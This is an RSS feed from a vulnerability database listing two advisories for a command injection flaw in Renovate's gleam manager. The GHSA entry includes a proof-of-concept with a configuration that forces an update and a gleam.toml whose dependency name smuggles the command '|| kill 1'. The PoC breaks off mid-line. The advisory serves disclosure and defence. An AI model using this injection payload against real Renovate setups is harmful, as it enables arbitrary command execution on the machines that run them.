<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 19:10:01 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-76233 — Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-76233</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; renovatebot renovate&lt;/p&gt;
&lt;p&gt;Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; renovatebot renovate&lt;/p&gt;
&lt;p&gt;Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-76233</guid>
    </item>
    <item>
      <title>GHSA-xjr7-3c3g-m763 — Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-xjr7-3c3g-m763</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: renovate&lt;/p&gt;
&lt;p&gt;### Summary
The user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.&lt;/p&gt;
&lt;p&gt;### Details
Adversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.
This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.&lt;/p&gt;
&lt;p&gt;### PoC
1. Create a git repo with the following content:&lt;/p&gt;
&lt;p&gt;`renovate.json5`:&lt;/p&gt;
&lt;p&gt;```json5
{
  $schema: &amp;#34;https://docs.renovatebot.com/renovate-schema.json&amp;#34;,
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: &amp;#34;https://docs.renovatebot.com/search/search_index.json&amp;#34;,
      transformTemplates: [&amp;#39;{&amp;#34;releases&amp;#34;:[{&amp;#34;version&amp;#34;:&amp;#34;99999.0.0&amp;#34;}]}&amp;#39;],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: [&amp;#34;gleam&amp;#34;],
      // Trick the manager in believing there&amp;#39;s a new version
      overrideDatasource: &amp;#34;custom.always&amp;#34;,
    },
  ],
}&lt;/p&gt;
&lt;p&gt;```&lt;/p&gt;
&lt;p&gt;`gleam.toml`:&lt;/p&gt;
&lt;p&gt;```toml
name = &amp;#34;renovate-aci-2&amp;#34;
version = &amp;#34;0.0.1&amp;#34;&lt;/p&gt;
&lt;p&gt;[dependencies]
&amp;#34;|| kill 1&amp;#34; = &amp;#34;0.…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: renovate&lt;/p&gt;
&lt;p&gt;### Summary
The user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.&lt;/p&gt;
&lt;p&gt;### Details
Adversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.
This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.&lt;/p&gt;
&lt;p&gt;### PoC
1. Create a git repo with the following content:&lt;/p&gt;
&lt;p&gt;`renovate.json5`:&lt;/p&gt;
&lt;p&gt;```json5
{
  $schema: &amp;#34;https://docs.renovatebot.com/renovate-schema.json&amp;#34;,
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: &amp;#34;https://docs.renovatebot.com/search/search_index.json&amp;#34;,
      transformTemplates: [&amp;#39;{&amp;#34;releases&amp;#34;:[{&amp;#34;version&amp;#34;:&amp;#34;99999.0.0&amp;#34;}]}&amp;#39;],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: [&amp;#34;gleam&amp;#34;],
      // Trick the manager in believing there&amp;#39;s a new version
      overrideDatasource: &amp;#34;custom.always&amp;#34;,
    },
  ],
}&lt;/p&gt;
&lt;p&gt;```&lt;/p&gt;
&lt;p&gt;`gleam.toml`:&lt;/p&gt;
&lt;p&gt;```toml
name = &amp;#34;renovate-aci-2&amp;#34;
version = &amp;#34;0.0.1&amp;#34;&lt;/p&gt;
&lt;p&gt;[dependencies]
&amp;#34;|| kill 1&amp;#34; = &amp;#34;0.…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-xjr7-3c3g-m763</guid>
    </item>
  </channel>
</rss>
